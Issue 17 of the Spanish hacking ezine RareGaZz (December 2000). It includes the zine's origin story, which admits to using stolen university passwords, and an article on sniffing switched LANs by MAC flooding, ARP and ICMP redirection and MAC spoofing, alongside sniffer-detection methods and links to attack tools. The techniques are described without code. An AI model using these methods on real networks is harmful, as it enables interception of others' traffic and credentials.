Copy Link
Add to Bookmark
Report
RareGaZz Issue 17
[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]
oOo - Tercera Epoca / Numero 17 - oOo
ooooooo oo ooooooo oooooo ooooo oo oooooo oooooo
$$""$$" o$"$$ $$""$$" $$ o$$""o, o$"$$ """$$ """$$
$$o$$" $$ $$ $$o$$" $$$$$$ $$ $$ $$ $$ $$ $$
$$$$$ $$ $$ $$$$$ $$"""" "$o $$ $$ $$ $$" $$"
$$" $$ $$$$$$$ $$" $$ $$ "$o $$ $$$$$$$ o$" o$"
$$ "$$ $$ $$ $$ "$$ $$ooooo "$o$$ $$ $$ o$$oooo o$$oooo
"" """ "" "" "" """ """"""" "" "" "" """"""" """""""
Diciembre del a~o 2000
[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]=-=[:]
<<::RareGaZz - Team::>>
RareTrip [ raretrip@cyberdude.com ]
GuyBrush [ guybrush@cyberdude.com ]
Alt3kx_h3z [ alt3kx_h3z@hotmail.com ]
enan0 [ ditiemef@iname.com ]
y0ni [ y0ni@mail.com ]
Yo_Soy [ varf@bigfoot.com ]
ReYDeS [ reydes@fnmail.com ]
Ocsic [ pisco@private.as ]
Cytorax [ cytorax@bigfoot.com ]
^Shadown^ [ shadown@bariloche.com.ar ]
-:-:-_-:-:-
Sitio Web: http://dkch.net/raregazz/
http://raregazz.dkch.net/
e-mail: RareGaZz-Ezine@Bigfoot.com
lista RareDudeZ: RareDudeZ@egroups.com
-:-:-_-:-:-
[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]
+------+-------------------------------------------+----------+--------------+
| +-->| C O N T E N I D O |<---------| RareGaZz 17 |
+->|<--> r17_00 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
T i t u l o A u t o r T e m a
~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~
00 Indice Rare-Team RareGaZz
01 Editorial Rare-Team RareGaZz
02 Requiem para RareGaZz RareTrip Genesis
03 Sniffing & Tripping y0ni Sniffing
04 Denegacion de Servicio Distribuido Yo_Soy DoS
05 Bugs de Poca Madre RareTrip Seguridad
06 Root con 10 minutos ReYDeS Cracking
07 NT world, BGates world, Kaos world GuyBrush Hacking
08 Un Root mas, que importa ReYDeS Cracking
09 AS/400 de IBM GuyBrush Seguridad
10 El nuevo milenio RareTrip Humor
11 Pandemonium Rare-Team RareGaZz
12 Llaves PGP Rare-Team Llaves
13 Phrack Extraction Utility Phrack Magazine Utilidad
14 Despedida Rare-Team RareGaZz
+->| |-+
+--------------------------------------------------------------------------
[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]
<<::RareGaZz::>>
"Were Back Baby"
"No es la separacion lo que mas me preocupa...
sino; el que no volvamos..."
<- Advertencia ->
|<-------------------------------------------------------------------->|
| RareGaZz es una revista electronica; cuyo contenido tiene como |
| proposito, informar a la comunidad en internet, sobre diversos |
| aspectos de la informatica actual. |
| |
| RareGaZz - Team, no se responsabiliza de las consecuencias que |
| pueda acarrear la lectura y/o puesta en practica de los articulos |
| aqui publicados. Asi mismo el Team, no comparte necesariamente las |
| opiniones personales de sus integrantes. |
|<-------------------------------------------------------------------->|
[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]=-=[^]
*Introduccion*
> Bienvenidos a la primera revista electronica completamente escrita en el <
> lenguaje de Cervantes dedicada a la comunidad Cibernetica del mundo entero <
> para dar a conocer lo relacionado a las computadoras, redes, programacion, <
> modos de vida, y todo aquello que se relacione con las computadoras. <
Introduccion de RareGaZz #1
A~o 1996
<<::RareGaZz::>> 1996-2000, Derechos Reservados (c)
+------+-------------------------------------------+----------+--------------+
| +-->| Intro v.3.II |<---------| RareTrip |
+->|<--> r17_01 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
* recuerden que se ve mejor en un editor fuera de windows *
RareGaZz-Ezine@Bigfoot.com
Pues bien amigos aqui nos tienen de regreso despues de ¨habernos? ausentado
de la red mas de lo acostumbrado pero tengan por seguro que fueron razones
poderosisimas aunque aun mas poderosas son las ganas con las que hemos
vuelto a la escena ahora mas organizados que nunca. Yo he vuelto (raretrip)
al zine despues de una larga ausencia de 2 a~os -poco mas- de la red. Asi
es, dos a~os incomunicado casi por completo de internet. Bueno, ya he
regresado a seguir apoyando el movimiento Hacker y es hora de pedir union
a la escena antes de que caigamos todos bajo el terrible destino que a la
mayoria aguarda: la extincion.
Para evitar esto AQUI ESTAMOS de nuevo, cierto que con algunos problemas
tecnicos pero con la confianza de poder superarlos como ya lo hemos hecho
anteriormente gracias sobre todo a su ayuda y cooperacion.
Actualmente el staff del zine es bastante bueno, recien acabo de conocer a
sus integrantes y me he llevado muy grata impresion con lo que han hecho
mientras no estuve presente. Quiero agradecer a mi amigo GuyBrush por haber
tenido la gracia de mantener mi mencion en la lista de integrantes del team
(por lo menos hasta el numero 15 :) y de siempre tenerme como el fundador en
la web a pesar de haber perdido contacto -como todos los demas- conmigo por
bastante tiempo. El mismo agradecimiento a todos los integrantes del staff
por haberme dado la oportunidad de regresar de nuevo al zine.
"No tiene gracia ser optimista cuando tiene uno todo lo que quiere."
Abe Martin
"Muchas veces, el hombre callado es por que ha dicho todo lo que sabe."
Abe Martin
"Yo no tengo prejuicios. Odio a todo el mundo por igual."
W. C. Fields
"Al alejarte de tu PC asegurate de apuntar las claves para desencriptar...."
-Paranoico Despistado (lease RareTrip)
+------+-------------------------------------------+----------+--------------+
| +-->| REQUIEM PARA RAREGAZZ |<---------| RareTrip |
+->|<--> r17_02 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
.Parte 1, nacio esta madre.
.Parte 2, crecio esta chingadera.
.Parte 3, exito en la puerta.
.Parte 4, me despido amigos.
.Nacio esta madre.
La fecha exacta era esta: Carnaval 1994. Mi proposito? conseguir como se
pudiera que no me cachara la policia por estar bebiendo cerveza sin
tener la edad necesaria ni mucho menos aparentarla. La conversacion? una
discusion entre Pablo y yo (oh, mencione nombres...shit) sobre una
revista que necesitaba ser creada. El tema? Hacking.
Pasaron las horas y yo cada vez mas extasiado por el frio liquido comence
a darle forma a la revista. Se llamaria "Le GaZzette", eso (creia yo) le
dara caracter internacional a pesar de estar escrita por personas de
Mexico. Pablo comento: Jamas lo lograras, es imposible, olvidalo. Sin
el saberlo, me alento aun mas.
Finalmente me dijo: Ok! pero quitale ese pinche nombre. Y nos olvidamos
del asunto pues teniamos que seguir cuidandonos de los policias.
En ese momento se decidio todo y se cometieron los primeros errores:
RareGaZz seria un e-zine distribuido por correo electronico, jamas
revelariamos nuestras identidades y nunca pero nunca cerrariamos la
entrada a alguien a los byte's del zine.
Asi, se crearon los 2 primeros numeros y nos dimos a la tarea de crear
listas de correo grandisimas usando algunos passwd's de universidades y
de sitios como WhoWhere? que ofrecian la ventaja de poder seleccionar
geograficamente las direcciones de email que quisieramos.
Logramos como 100 peticiones del zine y despues se acabo. Frustracion
total. El clasico "te lo dije" se dejo escuchar. Me aferre mas a la
idea y llego la solucion: Eureka! necesitabamos un webpage. Nacio la
web page de RareGaZz en Geocities, vecindario Baja, numero 4426.
Ahi aumento nuestra lista de personas que deseaban leer el zine y
nuestro entusiasmo. Comenzamos a contactar gente, ellos a nosotros,
mis compa~eros no lo creian. En Tijuana ya me conocian en las escuelas
y sobre todo, mi rostro lo desconocian en todos lados.
.Crecio esta chingadera.
Lo que sigue es en gran parte gracias al talento de gente que me rodeo
con conocimientos generales no solo tecno-dudes. Algunos amigos
estudiaban en ese tiempo mercadotecnia, dise~o grafico, ingenieria en
sistemas, etc.,etc. El resultado? Tecnicas de persuacion que funcionaban
en la practica como tener la pagina web siempre actualizada y con
archivos de utilidad y un buen contenido. Todo este trabajo dio como
resultado un aparato donde funcionabamos como hormigas para hacerlo
crecer. Era nuestro peque~o experimento sobre la sociedad...hacker.
Creiamos que encontrariamos dentro de esta zona llamada internet la
utopia que Marx no pudo en la "realidad". Creimos eso y nos valio
incluir textos sobre filosofia (gracias Cesar, para el record ya es
licenciado en Filosofia y Letras) y muchas otras materias que nada
tenian que ver con la escena hacker excepto el tratar de crear
conciencia usando como instrumento a la tecnologia. Funciono!
.Exito en la puerta.
Cuando RareGaZz alcanzaba alturas nos empezamos a marear, primero ellos
y despues yo. Mis amigos me dejaron pues no querian saber nada de algo
que ya incluia reglas mas estrictas sobre el manejo del correo (pues
llegaba demasiado), sobre el contenido de los textos, etc.,etc. Decian
que nos habiamos corrompido y que habiamos abandonados ideales
primordiales sin los cuales deberiamos abandonar el proyecto de
inmediato. Asi pues, tuve que buscar nuevos integrantes para que me
ayudaran, y eventualmente, me reemplazaran. No se como hice esto pero
creo que entenderan mi situacion: Tenia que dejar mi ciudad, a donde iba
no tendria acceso a la misma tecnologia. Como podria hacer estudios de
campo psicologicos y estar editando un e-zine al mismo tiempo?? quizas
si se hubiera podido pero ya no queria. Asi que deje el zine a GuyBrush
(procedente de Espa~a) y Azumlord (de Mexico). Ya para ese tiempo habia
logrado un nombre de dominio bastante apropiado:
http://raregazz.acapulco.uagro.mx
algo que no habian podido aun muchos otros que quizas lo merezcan igual o
mas. Ya tenia una lista de correo con mas de mil direcciones y
suficientes llaves PGP como para ocupar 10 megas un simple llaverito.
RareGaZz tambien saco de la escena a muchos Hackers que decidieron
hacerse a un lado pues la ola mexicana los ahogaria como me dijo un
argentino que ahora es buen amigo.
.Me despido amigos.
Ahora que saben los origenes de RareGaZz, cosa que tan solo era conocida
por un selecto grupo, me despido. Prometo no volver a molestarlos en
este e-zine. Lo he pensado bien y ya no tengo ni el tiempo o el
conocimiento para seguir dentro del staff. Me deja el haber creado este
monstruo un buen sabor de boca y ofrezco una disculpa a todos los
sysadmins que moleste en su tiempo (en especial a los del Cetys y UABC).
Como nota debo aclarar que ya he dejado atras toda clase de drogas que
tanta inspiracion me daban al escribir el zine ;-)
Yo aqui como siempre:
RARETRIP@CYBERDUDE.COM
"Liberte, Fraternite et Egalite ou la Mort!!" - Revolucion Francesa
"Eigneikeit und Recht und Freiheit!!" - Alemania 1945
[ Espero les haya gustado este texto, lo escribi poco tiempo despues de
haber regresado y sinceramente no pensaba volver a RareGaZz pero la
nostalgia y la perseverancia (a parte de significar un reto) hicieron
efecto en mi y aqui estoy...como casi siempre. RareTrip ]
+------+-------------------------------------------+----------+--------------+
| +-->| Sniffing & Tripping |<---------| y0ni |
+->|<--> r17_03 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
>>>>>>>>>>>>>>>>>>
<Los Conmutadores>
<<<<<<<<<<<<<<<<<<
> introduccion.
El conmutador o switch es un dispositivo de interconexion que conecta en
sus puertos segmentos de una red local o estaciones finales (servidores
normalmente).
En este texto cuando hablemos de switch o conmutador nos referiremos
a los switches que trabajan a nivel 2 o nivel de enlace que son puentes
multipuertos, aunque hay otros switches que trabajan a nivel de red como
hacen los routers.
> Funcionamiento de un switch.
Opera en la capa 2 del modelo OSI que corresponde al nivel de enlace por eso
para saber donde enviar los paquetes que recibe mira la direccion ethernet
( direccion MAC ) de las tramas.
Retransmite las tramas en base a la direccion MAC de destino.
Funciona a nivel hardware lo que le da mas velocidad que a otros
dispositivos que funcionan por software.
Permite varias conexiones simultaneas (segun el tipo de switch tendra mas
o menos puertos, lo que permitira mas o menos conexiones simultaneas).
Al trabajar a nivel de enlace no distingue los protocolos IP, IPX,
AppleTalk, DECnet ni superiores por lo que las decisiones que toma el switch
son menos "inteligentes" que las que puede tomar un router, pero el switch
es mas rapido.
Cuando el switch recibe un paquete por un segmento de la red mira su
direccion fuente y destino, si pertenecen al mismo segmento de red, el
paquete se descarta y si pertenecen a distintos segmentos, se retransmite
el paquete al segmento de red destino.
El switch va creando una tabla con todas las direcciones MAC que van pasando
a traves de el, a esto se le llama aprendizaje y funciona de esta forma:
- si la direccion MAC de origen de la trama no esta en su tabla de
direcciones la guarda junto el identificador del puerto por el que le
llego, para mas tarde saber por que puerto tiene que enviar las tramas que
vayan destinadas a esa direccion.
- si la direccion MAC de destino de la trama no esta en su tabla de
direcciones no sabra por que puerto debe enviar la trama y lo que hace es
enviarla por todos los puertos menos por el que llego para asegurarse de
que llega a su destino.
Si es una trama broadcast la retransmite por todos sus puertos, para que
llegue a todos los segmentos de la red.
El switch puede configurarse para que el vaya añadiendo las correspondencias
entre direcciones MAC y puertos automaticamente (modo aprendizaje) segun
vaya recibiendo tramas. Si no queremos que haga esto hay que configurar
estaticamente las direcciones MAC que corresponden a cada segmento de la
red (o puerto del switch), y modificar esta coniguracion cada vez que cambie
la MAC de algun ordenador.
Pueden empezar a reenviar una trama, antes de haberla recibido entera, no
como los bridges, que reciben el paquete entero antes de retransmitirlo.
Los switches pueden hacer el reenvio de 2 formas distintas:
- almacenamiento y reenvio: Analiza la trama completa.
Permite unir segmentos de distintas velocidades.
- al vuelo: Analiza solo la cabecera de la trama, para saber por que puerto
enviarla.
No permite que los puertos del switch unan segmentos de
distintas velocidades (por ejemplo de 10 y 100 MB).
> Segmentando LANs con Switches.
Se usan para segmentar LANs (hacerlas mas peque~as) y asi aumentar su
rendimiento (menos colisiones y ancho de banda a repartir entre
menos estaciones) y mejorar su seguridad.
Segmenta la LAN en dominios de colision, (solo compiten a la vez por el
medio las estaciones que esten en el mismo segmento de red), aumentando
ademas el ancho de banda disponible para cada estacion, ya que se reparte
entre el numero de estaciones de cada segmento, que se reduce al segmentar
la red con un switch.
En una LAN hay dominios de broadcast y dominios de colisiones:
dominio de colisiones:
Es un trozo o segmento de la red donde todos los ordenadores tienen que
competir entre ellos para poder usar la red.
Es decir trozo de red donde si 2 ordenadores envian datos simultaneamente
colisionarian.
El Ancho de banda de cada segmento la red se reparte entre todos los
ordenadores del dominio de colision.
Cuanto mas grande sea el dominio de colision (cuanto mas ordenadores
tenga) mas probabilidad de que se produzcan colisiones, y cada ordenador
toca a menos ancho de banda, disminuyendo su velocidad de acceso a la red.
dominio de broadcast:
Zona de la red hasta donde llegan los paquetes cuya direccion destino en
la direccion de broadcast.
El trafico broadcast generado en un dominio de colisiones pasa a todos los
demas dominios de colisiones pero no sale del dominio de broadcast donde se
genero.
El router separa dominios de broadcast y dominios de colisiones.
El switch (de nivel 2) separa dominios de colisiones pero no dominios de
broadcast.
Por ejemplo podemos poner en un segmento de la red al servidor central solo
y en los otros segmentos a todas las estaciones de usuario separadas en
departamentos o clases de forma que el servidor central tenga todo el ancho
de banda disponible y no tendra que competir con otras estaciones para usar
la red ya que es la unica estacion que esta en su segmento de red, y las
estaciones de usuario se repartiran el ancho de banda del segmento en el que
estan y competiran entre ellas para poder acceder a la red, y conectarse al
servidor central o a otras estaciones.
Con un switch podemos solucionar cuellos de botella en el servidor o en
cualquier otro punto de la red.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
<Esnifar trafico en LANs segmentadas>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
En las redes segmentadas, solo se envia el trafico al segmento donde esta
el ordenador al que va dirigida la informacion, lo que evita poder esnifar
el trafico de red entre ordenadores que esten en segmentos distintos al que
nosotros nos encontremos.
En principio, solo podemos esnifar el trafico que circula por el segmento
donde estemos, pero hay varias formas de hacer que el switch envie el
trafico por otros puertos distintos al puerto destino de las tramas,
permitiendo esnifar trafico dirigido a otros segmentos.
Se pueden usar varios metodos para intentar enga~ar al switch y conseguir
que envie por nuestro puerto o segmento de red el trafico que va destinado a
otros segmentos de red.
1.Saturacion del switch
El switch tiene un espacio de memoria limitado donde guarda las
direcciones MAC de los ordenadores que estan conectados en cada puerto
del switch.
Si se llena este espacio de memoria (donde esta la tabla de direcciones
del switch) con muchas direcciones MAC falsas, al quedarse sin recursos
para almacenar las direcciones MAC de las nuevas tramas que reciba, no
puede funcionar correctamente porque que no sabra a que puerto tendra que
enviar las tramas.
Un switch saturado (con sus tablas MAC llenas) puede actuar de formas
distintas dependiendo del fabricante:
- envio de tramas por todos los puertos (modo repetidor)
- ignorar las direcciones que no tenga almacenadas en sus tablas.
- envio de las tramas por puertos equivocados.
- otros se bloquean, o se reinician
- ...
Este problema solo se da cuando el switch esta en modo aprendizaje.
Si introducimos a mano las direcciones MAC de los equipos que van en cada
puerto y desactivamos el modo aprendizaje, no guardara las nuevas
direcciones MAC automaticamente por lo que no podran saturarse sus tablas
con el inconvenientede que cada incorporacion de nuevos equipos o de
nuevas tarjetas de red implique una reconfiguracion del switch.
Si en vez de usar una tabla para almacenar todas las direcciones MACs del
switch usasemos una tabla para cada puerto, en caso de ataque por
saturacion solo afectaria al puerto por el que se realizo el ataque, y
como ese puerto ya era esnifable para el atacante, no consigue nada nuevo,
pero eso depende de las caracteristicas del switch.
2.ARP Redirect
Las peticiones ARP tienen como direccion de origen la IP y MAC del
emisor, para que el receptor no tenga que preguntarla cuando responda.
Los ordenadores, guardan esta informacion en su cache.
Sabiendo esto, podemos redirigir el trafico de ordenadores cercanos,
enviando tramas ARP indicando como direccion de origen nuestra direccion
MAC y como IP de origen la del router, para hacer creer que somos el
router, y nos envien las tramas a nosotros.
Tambien podemos hacer creer al switch que la direccion MAC del router es
la nuestra, para que nos envie todos los paquetes a enrutar, y luego
nosotros se los mandaremos a la MAC verdadera del router.
3.ICMP Redirect
Un ICMP redirect le indica a un ordenador que envie sus paquetes a
otra direccion.
Enviando paquetes ICMP de redireccion a un ordenador diciendole que debe
enviarnos a nosotros los paquetes podemos esnifar su trafico de red.
4.ICMP Router Advertisements
ICMP Router Advertisements informa a los ordenadores de quien es el
router.
Si enviamos un ICMP Router Advertisements, los demas ordenadores creeran
que somos el router, y nos enviaran sus tramas.
La mayoria de los sistemas no usan estos paquetes ICMP, por lo que no
funcionara.
Ver http://www.l0pht.com/advisories/rdp.txt
5.Falsear la direccion MAC de la victima
Haciendo ARP spoofing podemos confundir al Switch que intenta recordar
que direcciones MAC estan en cada uno de sus puertos y hacer que nos
envie trafico destinado a otro segmento de red distinto al nuestro
haciendo creer al switch que una MAC cualquiera pertenece a nuestro
puerto/segmento, siempre que el switch este configurado en modo de
aprendizaje.
Se hace enviando tramas ARP al switch, con la direccion MAC de origen del
ordenador cuyo trafico queremos esnifar para hacer creer al switch que
ese ordenador esta en nuestro puerto del switch o segmento. La funcion de
aprendizaje del switch creera que somos otro ordenador, y nos enviara sus
tramas.
El problema es que el ordenador victima enviara tramas al switch con su
direccion MAC de origen, con lo que el switch volvera a tener la
direccion MAC correcta del ordenador.
Otro problema es que si el ordenador victima no recive las tramas de
respuesta se rompera la comunicacion y no habra nada que esnifar.
Esto puede solucionarse de varias formas.
Una forma es, una vez que un ordenador tenga establecida una conexion con
otro ordenador lo "desconectamos" con un ataque DoS, y enviando al
switch tramas con la direccion origen cambiada recibiremos sus
respuestas, robando la conexion.
Se puede enviar de vez en cuando algunas tramas con la direccion de
origen del otro ordenador para quitarle solo algunas respuestas, que las
recuperara cuando salte su timeout.
Podemos robar todas las respuestas a un ordenador victima, enviando
constantemente tramas al switch con la direccion MAC de origen de ese
ordenador, y cuando recibamos sus tramas las reenviamos a la direccion
de broadcast para que le llegue al ordenador victima y asi no cierre la
conexion.
Algunas formas de evitar esto es es activar la opcion "port security" del
switch, que lo que hace es desactivar un puerto si cambian sus
direcciones MAC o usar la opcion "trap on port MAC address change" para
que nos envie un aviso.
6.Reconfigurar el "spanning/monitor port" en el switch
Algunos switches permiten configurar uno de sus puertos como monitor o
spanning port, para que se copie el trafico que va a traves del switch
(normalmente solo el de uno de sus puertos) a ese puerto, funcionando
como un Hub. Esto le sirve al administrador de la red para poder examinar
problemas que ocurran.
No siempre se puede enviar el 100% del trafico al puerto monitor, depende
sobre todo de la carga de la red.
En algunos casos se puede hacer telnet al switch o reconfigurarlo
mediante SNMP para activar esta caracteristica, pero esta opcion no suele
estar permitida.
7.Cable-taps/Hubs
Se puede desviar el trafico colocando un Hub o un tap entre la conexion
de 2 switches o entre la conexion de un switch y un servidor que se
quiera monitorizar, para copiar los datos a otro ordenador que haga de
esnifer o de IDS. Siempre que se tenga acceso fisico a la red.
Los Taps son unidireccionales, lo que evita que se reciba informacion del
equipo que hace de esnifer o de IDS, o que se intente enviar trafico
directamente a estos equipos.
>>>>>>>>>>>>>>>>>>>>>>>
<Deteccion de esnifers>
<<<<<<<<<<<<<<<<<<<<<<<
Algunos de estos metodos, solo funcionan en redes que no esten segmentadas y
en ese caso solo son aplicables en el segmento al que estemos conectados.
Estos metodos pueden servir para ver si algun ordenador tiene su interfaz de
red en modo promiscuo, ya sea porque tenga un esnifer corriendo, un IDS, o
cualquier otra herramienta que monitorice la red y active el modo promiscuo.
1.El metodo ping
Se envia un ICMP Echo Request al ordenador, con la direccion ip de
destino correcta, pero la direccion hardware de destino incorrecta.
Este paquete deberia ignorarse porque la direccion hardware es
incorrecta pero algunos sistemas en modo promiscuo responderan a este
paquete delatando que estan en modo promiscuo.
Una defensa contra este metodo es poner un filtro para las direcciones
MAC en el esnifer.
Este metodo funciona en redes ethernet segmentadas y puede mejorarse de
varias formas:
1. cualquier protocolo que genere una respuesta puede usarse, como
la peticion de conexion TCP o el puerto 7 (echo) con protocolo UDP.
2. puede usarse cualquier protocolo que genere errores en el ordenador
destino, como el error "bad IP header" que genera un error ICMP.
3. Algunas veces debe usarse una direccion broadcast como
255.255.255.255 o 10.0.0.255 para pasar el filtro software de
direcciones IP.
Otro problema es que normalmente no se responde a direcciones
broadcast para evitar los ataques smurf.
2.El metodo de latencia con ping
Hacemos ping sobre el ordenador , y anotamos el RTT (round trip time)
Creamos muchas conexiones tcp falsas en el segmento de red, si el
ordenador esta en modo promiscuo, procesara todas estas conexiones lo que
aumentara su latencia.
Hacemos ping sobre el ordenador, y comparamos el RTT con el anterior,
para ver si hay indicios de esnifers en el segmento.
3.Metodo ARP
Es parecido al metodo del ping, pero enviando paquetes ARP.
Esta muy bien explicado en la documentacion del programa NEPED.
http://www.apostols.org/projectz/neped/
Se envia una peticion ARP a una IP, con una direccion hardware de
destino que no exista (no vale la de broadcast).
Al no corresponder la direccion MAC con la de la tarjeta, deberia
descartarse porque las tarjetas de red, descartan los paquetes cuya
direccion ethernet de destino es distinta a la de la tarjeta de red y a
la direccion de broadcast. Pero un ordenador en modo promiscuo respondera
a menos que tenga este fallo corregido.
4.Metodo DNS
Muchos esnifers hacen resolucion inversa de las ips que ven para mostrar
los nombres de las direcciones IP.
Podemos detectar un esnifer, viendo el trafico DNS que genera.
Creamos conexiones tcp falsas o paquetes UDP falsos (con una IP
inventada) en nuestro segmento de red y nos quedamos esnifando la red.
Si vemos peticiones al DNS para resolver esta IP inventada, seguramente
habra un sniffer escuchando.
Este metodo funciona en otros segmentos de red.
Hay esnifers que resuelven las ips a nombres en cuanto reciben la ip,
pero hay otros que lo retrasan hasta decodificar el paquete o que no
hacen ningun tipo de resolucion de nombres.
6.Metodo del Encaminamiento fuente (source-route)
Se hace a~adiendo al datagrama IP la informacion de la ruta que debe
seguir para alcanzar su destino.
Se pueden detectar esnifers en otros segmentos de red.
Creamos un ping, forzando que en su ruta pase por otro ordenador del
mismo segmento, que tenga desactivado el routing para que no reenvie las
tramas y si recibimos respuesta, seguramente el ordenador destino habra
esnifado el ping de la red.
En la respuesta, mira el campo TTL para ver si vino por haber sido
esnifado o porque fue enrutado por el ordenador ( TTL decrementado ).
La opcion de source-routing suele estar deshabilitada por seguridad.
7.Metodo de "decodificacion"
Aunque los metodos del ping y del ARP, solo funcionan en la red local
este metodo funciona para otras redes.
Consiste en establecer conexiones mediante protocolos que transmitan
las claves en claro, (ftp, telnet, pop3...) usando cuentas ficticias,
creadas solo para esta prueba.
Si alguien esta esnifando nuestra conexion, obtendra el login y
password que usemos, e intentara conectarse mas tarde a nuestro sistema
con esa cuenta, que la tendremos vigilando para que nos avise en cuanto
se use.
Tambien podemos usar "servidores de prueba", que no tengan otro uso.
http://www.zurich.ibm.com/~dac/Prog_RAID98/Full_Papers/sniffer_detector.
html/index.htm
8.Metodo del host
Se ejecutar el comando ifconfig -a en el ordenador que queramos, pero los
ficheros binarios suelen alterarse para evitar detectar el modo promiscuo
de esta forma.
Podemos usar una version limpia de ifconfig del cd-rom de instalacion o
buscar en internet herramientas que preguntan al hardware directamente.
9.Metodo de latencia
Consiste en generar mucho trafico por la red de forma que no tenga efecto
en ordenadores que no esten en modo promiscuo (su tarjeta de red) pero
que ralentice a los ordenadores que lo esten.
Haciendo ping a la maquina antes de cargar la red y durante la carga de
la red, podemos ver si hay mucha diferencia en las respuestas en caso de
que la maquina este muy cargada esnifando.
Este metodo puede degradar mucho el funcionamiento de la red asi como por
la carga de la red los pings que hacemos pueden retrasarse y saltar el
timeout, dando falsos positivos.
Si el ordenador responde los pings a nivel del kernel siendo
independiente de la carga de la CPU, este metodo daria falsos negativos.
Los test de latencia estan pensados en que las tarjetas de red que no
estan en modo promiscuo filtran las tramas a nivel hardware, sin suponer
una carga para el ordenador.
Es el firmware de la tarjeta el que elimina las tramas que no van
dirigidas a ella, lo que no afecta a la carga del ordenador.
Los ordenadores con tarjetas de red en modo promiscuo, deben filtrar las
tramas por software, lo que puede ralentizar bastante al sistema.
10.TDR (Time-Domain Reflectometers)
los TDR son como radares que envian pulsos por el cable y recojen las
respuestas.
Se pueden analizar los graficos de estas respuestas para ver los
dispositivos sospechosos conectados al cable.
Tambien sirven para aproximar la distancia en el cable a la que esta
(el Tap) intervenida la linea.
Nos permite detectar esnifers hardware conectados al cable, que de otra
forma serian invisibles.
Los TDRs se usaban mucho en las redes Ethernet coaxiales para detectar
vampire taps, pero hoy en dia con la topologia en anillo, han quedado en
desuso.
Tambien hay equipos OTDR para los muy paranoicos.
11.Luces del hub
Ver las luces del hub para ver si hay conexiones extra~as.
Para esto ayuda tener los cables numerados para saber en que ordenador o
rama de la red puede estar el esnifer.
12.Metodo del Protocolo SNMP
Los hubs inteligentes gestionados por SNMP pueden monitorizar
automaticamente el hub.
Algunas consolas pueden loggear las conexiones de todos los puertos.
13.Tests especificos de S.O.
Se hacen aprovechando algun error o la extra~na forma que tienen algunos
S.O. de filtrar las tramas MAC.
- kernel de linux
Los antiguos kernels tienen un fallo filtrando paquetes que podria usarse
para hacer que los ordenadores en modo promiscuo respondan a nuestras
peticiones.
Normalmente la tarjeta de red filtra los paquetes cuya direccion MAC de
destino no sea la de la tarjeta de red o la direccion de broadcast y si
no, pasa el paquete al kernel para que sea procesado. Pero una tarjeta de
red en modo promiscuo pasa todos los paquetes que recibe al S.O.
Algunos kernels de linux miran solo la direccion IP del paquete para ver
si deben dejarlo pasar.
Para aprovechar esto hay que enviar un paquete con una direccion ethernet
invalida pero con la direccion IP del ordenador destino. Los ordenadores
en modo promiscuo cuyos kernel sean defectuosos, aceptaran ese paquete y
si es un ping, nos responderan. Los ordenadores que no esten en modo
promiscuo ignoraran este paquete.
Podemos enviar el ping a la direccion IP de broadcast para buscar en toda
la red con una direccion ethernet invalida.
- Windows 95, 98, NT
El fallo en estos S.O. esta en como analican las tramas ethernet
broadcast.
Normalmente, la tarjeta de red solo pasa al kernel lo paquetes que van
Destinados a su direccion fisica o a la direccion de broadcast que es
FF:FF:FF:FF:FF:FF.
Cuando esta en modo promiscuo, el driver para ver si la trama va
destinada a la direccion de broadcast, mira solo el primer octeto de la
direccion Ethernet y si es FF (0xFF) la deja pasar como si fuese
FF:FF:FF:FF:FF:FF.
Para aprovechar esto solo hay que enviar un paquete a la direccion
ethernet FF:xx:xx:xx:xx:xx junto con la direccion ip del ordenador
destino.
Un ordenador con S.O. de Microsoft si esta en modo promiscuo respondera,
y si no lo descartara.
Este fallo depende del driver que utilice, que por defecto es el de
Microsoft que si tiene este fallo.
Algunas tarjetas de red filtran por hardware las direcciones broadcast en
base a su primer octeto solamente aunque no esten en modo promiscuo, por
eso respondenran a esta prueba positivamente dando falsos positivos
aunque no esten en modo promiscuo.
>>>>>>>>>>>>>>>>>>>>>>>
<Enlaces y Programas>
<<<<<<<<<<<<<<<<<<<<<<<<
> Algunos de los enlaces usados:
http://www.robertgraham.com/pubs/sniffing-faq.html
http://www.robertgraham.com/pubs/network-intrusion-detection.html
http://www.l0pht.com/antisniff
http://radon.eecs.berkeley.edu/~dongwu/cs261/propl.html
http://www.shomiti.com
http://www.ods.com/
ftp://coast.cs.purdue.edu/pub/tools/unix/cpm/
http://www.apostols.org/projectz/neped/
http://www.packetfactory.net/Projects/sentinel/
http://www.securiteam.com/unixfocus/Detecting_sniffers_on_your_network.html
http://www.inaoep.mx/~moises/AGC/
http://www.3com.com
http://www.sans.org
> Algunos programas disponibles:
http://packetstorm.securify.com/sniffers/ : smit, wci.c, MiM.c, dsniff,
hunt, parasite
http://packetstorm.securify.com/UNIX/misc/ : arpfun, ARPOc2.c, BKtspibdc.c,
switchfucker
http://packetstorm.securify.com/UNIX/utilities/ : fake, arping
http://packetstorm.securify.com/groups/teso/ : arptool
http://packetstorm.securify.com/UNIX/loggers/ : arpwatch
http://packetstorm.securify.com/Win/ : ArpWorks10.exe
http://packetstorm.securify.com/DoS/ : havoc
http://quake.skif.net/RawIP/macof.html : macof
http://www.zweknu.org/src/MiM/
http://www.phenoelit.de/ ARP0/WCI
+------+-------------------------------------------+----------+--------------+
| +-->| Denegacion de Servicio Distribuido |<---------| Yo_Soy |
+->|<--> r17_04 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
DDOS
1.- Introduccion.
